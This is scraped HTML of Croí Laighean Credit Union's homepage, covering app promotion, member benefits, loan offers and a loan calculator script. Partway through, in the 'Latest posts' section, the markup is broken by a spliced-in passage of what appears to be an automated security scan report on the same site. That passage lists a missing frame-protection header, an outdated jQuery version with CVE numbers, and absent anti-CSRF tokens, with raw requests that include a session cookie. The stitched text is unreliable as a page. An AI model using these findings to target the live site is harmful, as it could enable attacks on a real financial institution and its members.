<p>Get full access to your account with a few simple taps on your smartphone or tablet. It’s never been easier to manage your money on the go, 24/7. Unlock a whole new level of convenience by downloading the Croí Laighean Mobile App today.</p>
<p>This facility is open to all members who have registered for online access. Register for online access <a href="https://secure.clcu.ie/Register" target="_blank" rel="noopener">here</a> or learn how to sign up for our Mobile app <a href="https://www.clcu.ie/online-mobile-banking/">here</a>.</p>
<p><strong>All our benefits at your fingertips</strong></p>
<ul>
<li>Check your account Credit Union balances on the go</li>
<li>Pay your bills</li>
<li>Transfer funds between your own accounts</li>
<li>Transfer funds to non- Credit Union accounts</li>
<li>Secure member login — you’ll have peace of mind knowing your data is fully secure</li>
</ul>
<p><strong>Terms and conditions apply. </strong></p>
<div class="app_icon_feature">
<a href="https://apps.apple.com/ie/app/cro%C3%AD-laighean-credit-union/id1145914849" target="_blank"><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Croí Laighean Apple App Store" title="App Store" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2019/11/App-Store.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2019/11/App-Store.svg" alt="Croí Laighean Apple App Store" title="App Store"></noscript></a>
</div>
<div class="app_icon_feature">
<a href="https://play.google.com/store/apps/details?id=ie.progress.edenderrycumobile&hl=en" target="_blank"><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Croí Laighean Credit Union Play Store App" title="Play Store" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2019/11/Play-Store.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2019/11/Play-Store.svg" alt="Croí Laighean Credit Union Play Store App" title="Play Store"></noscript></a>
</div>
</div>
<div class="feature_middle">
<div class="center-img">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Croí Laighean Credit Union app" title="Phone image" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/11/Phone-image.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/11/Phone-image.svg" alt="Croí Laighean Credit Union app" title="Phone image"></noscript>
</div>
</div>
<div class="feature_right">
<div class="right_key_features">
<div class="icon-key-features">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="Credit Union Secure Banking" title="secure-login" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/secure-login.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/secure-login.svg" alt="Credit Union Secure Banking" title="secure-login"></noscript>
</div>
<div class="right_cont">
<h4>Secure member login</h4>
<p>you’ll have peace of mind knowing your data is fully secure</p>
</div>
</div>
<div class="right_key_features">
<div class="icon-key-features">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="account-balance" title="account-balance" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/account-balance.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/account-balance.svg" alt="account-balance" title="account-balance"></noscript>
</div>
<div class="right_cont">
<h4>Account balance</h4>
<p>Check your account balances on the go</p>
</div>
</div>
<div class="right_key_features">
<div class="icon-key-features">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="transfer-funds" title="transfer-funds" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/transfer-funds.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/transfer-funds.svg" alt="transfer-funds" title="transfer-funds"></noscript>
</div>
<div class="right_cont">
<h4>Transfer funds</h4>
<p>Transfer funds between your own accounts and to non-Credit Union accounts</p>
</div>
</div>
<div class="right_key_features">
<div class="icon-key-features">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" alt="pay-bills" title="pay-bills" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/pay-bills.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/pay-bills.svg" alt="pay-bills" title="pay-bills"></noscript>
</div>
<div class="right_cont">
<h4>Pay bills</h4>
<p>Pay your bills</p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div id="what-we-do-5"></div>
<div class="tab-pane fade " id="tab_5" role="tabpanel">
<div class="res-tab " datarowcolor="#93d500" style="background-color:#93d500 " >Member Benefits</div>
<div class="container">
<div class="whychoose-title-cont matchHeight">
<div class="letf-title-cont">
<h3>Member Benefits</h3>
<p>We're free to join!</p>
<p>Every month we give away a minimum of €20,000 to members participating in our members draw*.</p>
<p><b>Nomination of your funds*</b>: This facility enables you to nominate a recipient of your funds should you pass away. The nomination facility ensures that your funds are easily transferred to your loved ones in a timely manner.</p>
<p><b>Free Loan Insurance*</b>: Your loans are insured at no direct cost to you which means that in the event of your passing, any outstanding loan balance will be paid off to relieve any financial stress on your loved ones, during this difficult period.</p>
<p><b>Life benefit insurance*</b>: This is a unique additional benefit at no direct cost to you, paid to your nominated person in the event of your death.</p>
<br>
* Terms and conditions apply </div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="figure_service_sec_wrap">
<div class="container">
<div class="last_month_figure_wrap">
<div class="last_month_figure_title">
Last month’s figures </div>
<div class="last_month_figure_sub_title">
Our numbers for October 2023 </div>
<div class="last_month_repeter_wrap">
<div class="last_month_repeterbx">
<div class="last_month_repeter">
<div class="icon"><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" title="Loans-approved" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/02/Loans-approved.svg" /><noscript><img src="https://www.clcu.ie/wp-content/uploads/2022/02/Loans-approved.svg" title="Loans-approved" /></noscript></div>
<div>
<div class="counter_text">610</div>
<div class="title">Loans approved</div>
</div>
</div>
</div>
<div class="last_month_repeterbx">
<div class="last_month_repeter">
<div class="icon"><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" title="Loans-paid-out" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/02/Loans-paid-out.svg" /><noscript><img src="https://www.clcu.ie/wp-content/uploads/2022/02/Loans-paid-out.svg" title="Loans-paid-out" /></noscript></div>
<div>
<div class="counter_text">5,136,296</div>
<div class="title">Loans paid out</div>
</div>
</div>
</div>
<div class="last_month_repeterbx">
<div class="last_month_repeter">
<div class="icon"><img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" title="New-members-accounts" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/02/New-members-accounts.svg" /><noscript><img src="https://www.clcu.ie/wp-content/uploads/2022/02/New-members-accounts.svg" title="New-members-accounts" /></noscript></div>
<div>
<div class="counter_text">137</div>
<div class="title">New members</div>
</div>
</div>
</div>
</div>
</div>
<div class="banner_section_wrap">
<div class="bg-img-bx">
<div data-bg="https://www.clcu.ie/wp-content/uploads/2022/11/switch-your-loan-background.png" class="bg_img rocket-lazyload" style="">
<div class="img-infobx">
<div class="title">Get A 5 Year Fixed Rate Loan Of 6%</div>
<div class="sub_title"><b>Switch Your Loan Today!</b></div>
<div class="content">If you have an existing personal loan with a bank or other lender you can switch to our 5-year fixed loan with a low rate of 6% (6.17% APR).</div>
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" title="switch-your-loan" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/11/switch-your-loan.png"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2022/11/switch-your-loan.png" title="switch-your-loan"></noscript>
<div class="find-btn-bx">
<a class="find-btn" href="https://www.clcu.ie/5-year-fixed-loan/" title="Find out more">Find out more</a>
</div>
</div>
</div>
</div>
<div class="bg-img-bx">
<div data-bg="https://www.clcu.ie/wp-content/uploads/2023/07/Croi-laighean-credit-union-board-drive.png" class="bg_img rocket-lazyload" style="">
<div class="img-infobx">
<div class="title">Time for a new car?</div>
<div class="sub_title">Car loans from 5.5%!</div>
<div class="content">Get in gear and get on the road with a Credit Union Car Loan. In the last year, we’ve helped our members buy cars by lending almost €12 million.</div>
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" title="used-car-loan-ireland" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2023/08/used-car-loan-ireland.png"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2023/08/used-car-loan-ireland.png" title="used-car-loan-ireland"></noscript>
<div class="find-btn-bx">
<a class="find-btn" href="https://www.clcu.ie/pcp-buster-our-lowest-car-loan-rate/" title="Find out more">Find out more</a>
</div>
</div>
</div>
</div>
</div>
<div class="our_service_section_wrap">
<div class="container">
<div class="our_service_title">Our services</div>
<div class="service-rowbx">
<div class="service_wrapbx">
<div class="service_wrap">
<div class="service_icon">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" title="loans" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/02/loans.svg"/><noscript><img src="https://www.clcu.ie/wp-content/uploads/2022/02/loans.svg" title="loans"/></noscript>
</div>
<div class="service-rightbx">
<div class="service_title">Loans</div>
<div class="service_content">From Home Improvement Loans to Car Loans to Covered Loans, we have a wide range of Credit Union loans to suit your needs and repayment ability.</div>
</div>
</div>
</div>
<div class="service_wrapbx">
<div class="service_wrap">
<div class="service_icon">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" title="savings" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/02/savings.svg"/><noscript><img src="https://www.clcu.ie/wp-content/uploads/2022/02/savings.svg" title="savings"/></noscript>
</div>
<div class="service-rightbx">
<div class="service_title">Savings</div>
<div class="service_content">When you save with Croí Laighean Credit Union, you’re not just a customer, but a member of a Credit Union that provides security & protection for your savings.</div>
</div>
</div>
</div>
<div class="service_wrapbx">
<div class="service_wrap">
<div class="service_icon">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" title="Current-Account" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/02/Current-Account.svg"/><noscript><img src="https://www.clcu.ie/wp-content/uploads/2022/02/Current-Account.svg" title="Current-Account"/></noscript>
</div>
<div class="service-rightbx">
<div class="service_title">Current Account</div>
<div class="service_content">The Current Account from Croí Laighean Credit Union gives you all the benefits you expect from a current account, but with the trusted Credit Union personal touch.</div>
</div>
</div>
</div>
<div class="service_wrapbx">
<div class="service_wrap">
<div class="service_icon">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" title="insurance" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/02/insurance.svg"/><noscript><img src="https://www.clcu.ie/wp-content/uploads/2022/02/insurance.svg" title="insurance"/></noscript>
</div>
<div class="service-rightbx">
<div class="service_title">Insurance</div>
<div class="service_content">Backed by some of the leading Insurance companies in Royal London, RSA, AIG, Liberty and Mapfre. We will ensure that you get a fair quote every time.</div>
</div>
</div>
</div>
<div class="service_wrapbx">
<div class="service_wrap">
<div class="service_icon">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" title="member-benefits" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/02/member-benefits.svg"/><noscript><img src="https://www.clcu.ie/wp-content/uploads/2022/02/member-benefits.svg" title="member-benefits"/></noscript>
</div>
<div class="service-rightbx">
<div class="service_title">Member benefits</div>
<div class="service_content">We have a range of member benefits that you will not get from traditional banks and our customer service has awarded the best in Ireland for the past 6 years.</div>
</div>
</div>
</div>
<div class="service_wrapbx">
<div class="service_wrap">
<div class="service_icon">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" title="Community-support" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2022/02/Community-support.svg"/><noscript><img src="https://www.clcu.ie/wp-content/uploads/2022/02/Community-support.svg" title="Community-support"/></noscript>
</div>
<div class="service-rightbx">
<div class="service_title">Community Support</div>
<div class="service_content">We have donated over €600,000 to the local community over the last 6 years and as we grow, we will have more to contribute. </div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="latest_post_wrap">
<div class="latest_post_title">Latest posts</div>
<ul class="latest_post_ul">
<li class="latest_post_li">
<div class="latest_post-sldbx">
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<div class="latest_posts_news_date">25th Jan 2023</div>
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Parameter
x-frame-options
Solution
Modern Web browsers support the Content-Security-Policy and
X-Frame-Options HTTP headers. Ensure one of them is set on all web
pages returned by your site/app.
If you expect the page to be framed only by pages on your server
(e.g. it's part of a FRAMESET) then you'll want to use SAMEORIGIN,
otherwise if you never expect the page to be framed, you should
use DENY. Alternatively consider implementing Content Security
Policy's "frame-ancestors" directive.
2. VULNERABLE JS LIBRARY (1)
1. GET
https://www.clcu.ie/wp-content/themes/croi-laighean/js/jquery.min.js
Alert tags
* CVE-2020-11023
* OWASP_2017_A09
* CVE-2020-11022
* OWASP_2021_A06
* CVE-2015-9251
* CVE-2019-11358
* CVE-2020-23064
Alert description
The identified library jquery, version 1.11.3 is vulnerable.
Other info
CVE-2020-11023
CVE-2020-11022
CVE-2015-9251
CVE-2019-11358
CVE-2020-23064
Request Request line and header section (400 bytes)
GET https://www.clcu.ie/wp-content/themes/croi-laighean/js/jquery.min.js HTTP/1.1
host: www.clcu.ie
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
pragma: no-cache
cache-control: no-cache
referer: https://www.clcu.ie/contact/
Cookie: PHPSESSID=gutkq0d13uqkiuoo18rrel573t; wordpress_test_cookie=WP%20Cookie%20check
Request body (0 bytes)
Response Status line and header section (295 bytes)
HTTP/1.1 200 OK
Date: Mon, 27 Nov 2023 07:22:44 GMT
Content-Type: text/javascript; charset=utf-8
Content-Length: 95992
Connection: keep-alive
Server: Apache/2.4.52 (Ubuntu)
Last-Modified: Wed, 04 Oct 2023 08:33:36 GMT
Accept-Ranges: bytes
Vary: Accept-Encoding
Cache-Control: public
Response body (95992 bytes)
/*! jQuery v1.11.3 | (c) 2005, 2015 jQuery Foundation, Inc. | jquery.org/license */
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//# sourceMappingURL=jquery.min.map
Evidence
/*! jQuery v1.11.3
Solution
Please upgrade to the latest version of jquery.
6. RISK=MEDIUM, CONFIDENCE=LOW (1)
1. HTTPS://WWW.CLCU.IE (1)
1. ABSENCE OF ANTI-CSRF TOKENS (1)
1. GET https://www.clcu.ie
Alert tags
* OWASP_2021_A01
* WSTG-v42-SESS-05
* OWASP_2017_A05
Alert description
No Anti-CSRF tokens were found in a HTML submission form.
A cross-site request forgery is an attack that involves forcing a
victim to send an HTTP request to a target destination without
their knowledge or intent in order to perform an action as the
victim. The underlying cause is application functionality using
predictable URL/form actions in a repeatable way. The nature of
the attack is that CSRF exploits the trust that a web site has for
a user. By contrast, cross-site scripting (XSS) exploits the trust
that a user has for a web site. Like XSS, CSRF attacks are not
necessarily cross-site, but they can be. Cross-site request
forgery is also known as CSRF, XSRF, one-click attack, session
riding, confused deputy, and sea surf.
CSRF attacks are effective in a number of situations, including:
* The victim has an active session on the target site.
* The victim is authenticated via HTTP auth on the target site.
* The victim is on the same local network as the target site.
CSRF has primarily been used to perform an action against a target
site using the victim's privileges, but recent techniques have
been discovered to disclose information by gaining access to the
response. The risk of information disclosure is dramatically
increased when the target site is vulnerable to XSS, because XSS
can be used as a platform for CSRF, allowing the attack to operate
within the bounds of the same-origin policy.
Other info
No known Anti-CSRF token [anticsrf, CSRFToken,
__RequestVerificationToken, csrfmiddlewaretoken,
authenticity_token, OWASP_CSRFTOKEN, anoncsrf, csrf_token, _csrf,
_csrfSecret, __csrf_magic, CSRF, _token, _csrf_token] was found in
the following HTML form: [Form 1: "search_head_mobile"
"searchsubmit" ].
Request Request line and header section (223 bytes)
GET https://www.clcu.ie HTTP/1.1
host: www.clcu.ie
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
pragma: no-cache
cache-control: no-cache
Request body (0 bytes)
Response Status line and header section (245 bytes)
HTTP/1.1 200 OK
Date: Mon, 27 Nov 2023 07:22:36 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Server: Apache/2.4.52 (Ubuntu)
Last-Modified: Sun, 26 Nov 2023 23:24:27 GMT
Vary: Accept-Encoding
content-length: 175025
Response body (175025 bytes)
<!doctype html>
<html lang="en-US">
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<title>Credit Union | Croí Laighean Credit Union</title>
<meta name="description" content="Your local Credit Union. Modern finance solutions with a personal touch! Explore loans, current accounts, insurance & savings products." />
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<div id="content" class="site-content">
<h1 class="h1_hide">Croí Laighean Credit Union</h1>
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We're dropping our Mortgage Rates!
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<p>Yes, that’s right! We’re DROPPING our mortgage rates. New rates from 3.75% (3.81% APR).</p>
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Credit Union Christmas Loan
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<p>Spread the cost of Christmas with our Christmas Loan.</p>
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One 4 One Loan
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<p>Borrow up to €1,000 for up to 1 year with a low-interest rate of just 6.73% (6.95% APR).</p>
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<a href="https://www.clcu.ie/one-4-one-loan/">Find Out More</a>
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Get a 232 <br>for 5.5%
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<p>Get that new car feeling with our <strong>lowest-ever</strong> car loan rate of 5.5% (5.64% APR).</p>
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<a href="https://www.clcu.ie/pcp-buster-our-lowest-car-loan-rate/">Find Out More</a>
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Our New<br>Car Insurance
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<p>Always the right cover at the best possible price, every year!</p>
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<a href="https://www.peopl.ie/car-insurance?referralsource=CroiLaigheanCU">Find Out More</a>
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Give Your Bank The Boot!
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<p>With lower fees, 24/7 online banking, Mastercard® debit card, and digital wallets, our current account has everything you need.</p>
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<a href="https://www.clcu.ie/switch-to-a-credit-union-current-account/">Switch Today</a>
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Our New <br>Green Loan
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<p>Good for the environment. Better for your pocket.</p>
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<h4>Great value loans</h4> </div>
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interest calculated on reducing loan balance </div>
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<h4>Over €<span class="counter">53</span> million</h4> </div>
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borrowed by members in 2021/22 </div>
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<h4><span class="counter">99</span>%</h4> </div>
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Loan approval rate </div>
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<h2>Your Local Credit Union Serving Offaly & Kildare</h2>
<p>Serving Offaly & Kildare, Croí Laighean Credit Union has a friendly approach to modern finance. We may work with figures all day, but you’ll always be more than a number. Our award winning customer service is both personal and professional because our members are at the heart of everything we do.<br><br>
As a not-for-profit Credit Union, we make it simple to borrow and to save for the future, with convenient savings, financial guidance and the best loan rates in the locality. If you're looking for a great value loan, use our handy calculator below.
<br><br><b><i>If you're not a member, don't worry! We made it simple and you can apply for a loan and join Croí Laighean Credit Union at the same time!</i></b></p>
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<h3>Am I eligible to join Croí Laighean Credit Union</h3>
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<div class="res-tab open" datarowcolor="#d52f89" style="background-color:#d52f89 " >Loan calculator</div>
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<h3><a href="https://www.clcu.ie/loans/" title="Loan Calculator">Loan Calculator</a></h3>
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<h4><strong><em>To view our new lower mortgage rates, <a href="https://www.clcu.ie/credit-union-mortgages/">please click here</a>.</em></strong></h4>
<div class="calc_container">
<div class="calc_box">
<div class="calc_left">
<div class="lontype_title">Loan Type</div>
<div class="loan_cal_type">
<select class="selectloantype">
<option value="1">Green Loan</option><option value="2" selected>Car Loan</option><option value="3">PCP Buster</option><option value="4">Community Loan</option><option value="5">Consolidation Loan</option><option value="6">Covered Loan</option><option value="7">Home Improvement Loan</option><option value="8">One 4 One Loan</option><option value="9">Standard Personal Loan</option><option value="10">Student Loan</option><option value="11">5 Year Fixed Loan</option><option value="12">7 Year Fixed Loan</option><option value="13">10 Year Fixed Loan</option> </select>
</div>
<div class="loan_leftwrap loan">
<div class="calc_row1 calc_process">
<input type="text" id="amount" name="amount" readonly='true' onkeydown='javascript: handleBackspaceKeyCompat(event);' class="input_invisible" value="" />
<div class="calc_bar">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" id="sliderAmountMinus" name="sliderAmountMinus" onclick="javascript: amountDecrement();" onmouseover="javascript: document.body.style.cursor = 'hand';" onmouseout="javascript: document.body.style.cursor = 'default';" alt="Decrement Amount" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/arrowminus.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/arrowminus.svg" id="sliderAmountMinus" name="sliderAmountMinus" onclick="javascript: amountDecrement();" onmouseover="javascript: document.body.style.cursor = 'hand';" onmouseout="javascript: document.body.style.cursor = 'default';" alt="Decrement Amount"></noscript>
<div id="sliderAmount"><div id="amountSliderHandle" class="ui-slider-handle"></div></div>
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" id="sliderAmountPlus" name="sliderAmountPlus" onclick="javascript: amountIncrement();" onmouseover="javascript: document.body.style.cursor = 'hand';" onmouseout="javascript: document.body.style.cursor = 'default';" alt="Increment Amount" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/arrowplus.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/arrowplus.svg" id="sliderAmountPlus" name="sliderAmountPlus" onclick="javascript: amountIncrement();" onmouseover="javascript: document.body.style.cursor = 'hand';" onmouseout="javascript: document.body.style.cursor = 'default';" alt="Increment Amount"></noscript>
</div>
</div>
<div class="calc_row2 calc_process">
<input type="text" id="term" name="term" readonly='true' onkeydown='javascript: handleBackspaceKeyCompat(event);' class="input_invisible" />
<div class="calc_bar">
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" id="sliderTermMinus" name="sliderTermMinus" onclick="javascript: termDecrement();" onmouseover="javascript: document.body.style.cursor = 'hand';" onmouseout="javascript: document.body.style.cursor = 'default';" alt="Decrement Term" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/arrowminus.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/arrowminus.svg" id="sliderTermMinus" name="sliderTermMinus" onclick="javascript: termDecrement();" onmouseover="javascript: document.body.style.cursor = 'hand';" onmouseout="javascript: document.body.style.cursor = 'default';" alt="Decrement Term"></noscript>
<img src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%200%200'%3E%3C/svg%3E" id="sliderTermPlus" name="sliderTermPlus" onclick="javascript: termIncrement();" onmouseover="javascript: document.body.style.cursor = 'hand';" onmouseout="javascript: document.body.style.cursor = 'default';" alt="Increment Term" data-lazy-src="https://www.clcu.ie/wp-content/uploads/2020/09/arrowplus.svg"><noscript><img src="https://www.clcu.ie/wp-content/uploads/2020/09/arrowplus.svg" id="sliderTermPlus" name="sliderTermPlus" onclick="javascript: termIncrement();" onmouseover="javascript: document.body.style.cursor = 'hand';" onmouseout="javascript: document.body.style.cursor = 'default';" alt="Increment Term"></noscript>
<div id="sliderTerm"></div>
</div>
</div>
</div>
</div>
<div id="Results" class="Results calc_right">
<div class="result_title"><input type="text" id="apr" name="apr" value="7.76% APR" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible"></div>
<ul id="sliderValuesList" name="sliderValuesList">
<li>
<span id="spanWeek" name="spanWeek"><span id="spanWeekText" class="spanTermText">Weekly</span>
<input type="text" name="paymentSliderWeekly" id="paymentSliderWeekly" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
<span id="spanWeekTotal" name="spanWeekTotal"><span id="spanWeekTotalText" class="spanTotalText">Total</span>
<input type="text" id="paymentSliderTotalWeekly" name="paymentSliderTotalWeekly" value="" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
<span id="spanWeekTotalInterest" name="spanWeekTotalInterest"><span id="spanWeekInterestText" class="spanInterestText">Interest</span>
<input type="text" id="paymentSliderTotalInterestWeekly" name="paymentSliderTotalInterestWeekly" value="" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
</li>
<li>
<span id="span2Weeks" name="span2Weeks"><span id="span2WeeksText" class="spanTermText">Fortnightly</span>
<input type="text" name="paymentSlider2Weeks" id="paymentSlider2Weeks" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
<span id="span2WeeksTotal" name="span2WeeksTotal"><span id="span2WeeksTotalText" class="spanTotalText">Total</span>
<input type="text" id="paymentSliderTotal2Weeks" name="paymentSliderTotal2Weeks" value="" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
<span id="span2WeeksTotalInterest" name="span2WeeksTotalInterest"><span id="span2WeeksInterestText" class="spanInterestText">Interest</span>
<input type="text" id="paymentSliderTotalInterest2Weeks" name="paymentSliderTotalInterest2Weeks" value="" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
</li>
<li>
<span id="spanMonth" name="spanMonth"><span id="spanMonthlyText" class="spanTermText">Monthly</span>
<input type="text" name="paymentSliderMonthly" id="paymentSliderMonthly" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
<span id="spanMonthTotal" name="spanMonthTotal"><span id="spanMonthlyTotalText" class="spanTotalText">Total</span>
<input type="text" id="paymentSliderTotalMonthly" name="paymentSliderTotalMonthly" value="" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
<span id="spanMonthTotalInterest" name="spanMonthTotalInterest"><span id="spanMonthlyInterestText" class="spanInterestText">Interest</span>
<input type="text" id="paymentSliderTotalInterestMonthly" name="paymentSliderTotalInterestMonthly" value="" readonly="true" onkeydown="javascript: handleBackspaceKeyCompat(event);" class="input_invisible">
</span>
</li>
</ul>
<div id="divSliderApplyButton">
</div>
</div>
<div class="apply-now">
<a id="applylinks" title="Apply Now" href="https://social.clcu.ie/website-loan-application/?amount=12000&term=48&rate=7.5type=Car Loan&apr=7.76">Apply Now</a>
</div>
<div class="annual_percentage">APR means Annual Percentage Rate. The repayment amount quoted is for illustrative purposes only, to provide you with an overview of the potential cost of borrowing. Restrictions may apply. </div>
</div>
</div>
<input type="hidden" id="aprvals" value="7.76" />
<input type="hidden" id="intervals" value="7.5" />
<script type="text/javascript">
jQuery(document).ready(function () {
//setCookie('loan_name','Car Loan',30);
localStorage.setItem('loan_name', 'Car Loan');
var globalLoanInterestRate = Number(7.5 );
var globalLoanAPR = Number(7.76 );
term_months(Number(1),Number(84 ),Number(48),globalLoanAPR,globalLoanInterestRate);
amount_slide(Number(500),Number(100000 ),Number(12000),globalLoanAPR,globalLoanInterestRate);
calculateSliderValues(globalLoanAPR,globalLoanInterestRate,Number(12000),Number(48));
var urls = "https://social.clcu.ie/website-loan-application/?amount=12000&term=48&rate=7.5&type="+jQuery('.selectloantype option:selected').text()+"&apr=7.76";
console.log(urls);
jQuery( ".selectloantype" ).change(function() {
ajaxcals(jQuery(".selectloantype").val());
});
});
function ajaxcals(ids){
jQuery.ajax({
url: "https://www.clcu.ie/wp-content/themes/croi-laighean/calculator-ajax.php",
type: "post",
dataType: 'json',
data : {action : 'caldetails',ids:ids,cals:'cals'},
success: function(result){
if(result.sucreg == '1'){
term_months(Number(result.minv_term),Number(result.maxv_term),Number(result.defv_term),Number(result.apr),Number(result.inter));
amount_slide(Number(result.minv_amount),Number(result.maxv_amount),Number(result.defv_amount),Number(result.apr),Number(result.inter));
jQuery("#intervals").val(result.inter);
jQuery("#aprvals").val(result.apr);
jQuery("#apr").val(result.apr+"% APR");
calculateSliderValues(Number(result.apr),Number(result.inter),Number(result.defv_amount),Number(result.defv_term));
localStorage.setItem('loan_name',result.loan_name);
} else {
alert('Something went wrong. Try diffrent!');
}
}
});
}
var intAditionalChargeWeekly = 0;
var intAditionalChargeFortnightly = 0;
var intAditionalChargeFourWeekly = 0;
var intAditionalChargeMonthly = 0;
var intAditionalCharge = intAditionalChargeWeekly
var intRoundingType = 0;
var intAvailableMethods = 3;
function term_months(minv,maxv,defv,apr,inter){
jQuery("#term").val(defv);
jQuery("#sliderTerm").slider({
range: "min",
orientation: "horizontal",
min: minv,
max: maxv,
step: 1,
value: defv,
slide: function(event, ui) {
jQuery("#term").val(ui.value + " months");
varSliderTermValue = ui.value;
calculateSliderValues(apr,inter,jQuery("#sliderAmount").slider("value"),ui.value);
}
});
}
function amount_slide(minv,maxv,defv,apr,inter){
jQuery("#amount").val("\u20ac" + addThousandCommas(defv.toString(), 'false'));
jQuery("#sliderAmount").slider({
range: "min",
orientation: "horizontal",
min: minv,
max: maxv,
step: 100,
value: defv,
slide: function(event, ui) {
jQuery("#amount").val("\u20ac" + addThousandCommas(ui.value.toString(), 'false'));
calculateSliderValues(apr,inter,ui.value,jQuery("#sliderTerm").slider("value"));
}
});
}
// Global Variables for the Sliders
//var varSliderAmountValue = jQuery("#sliderAmount").slider("value");
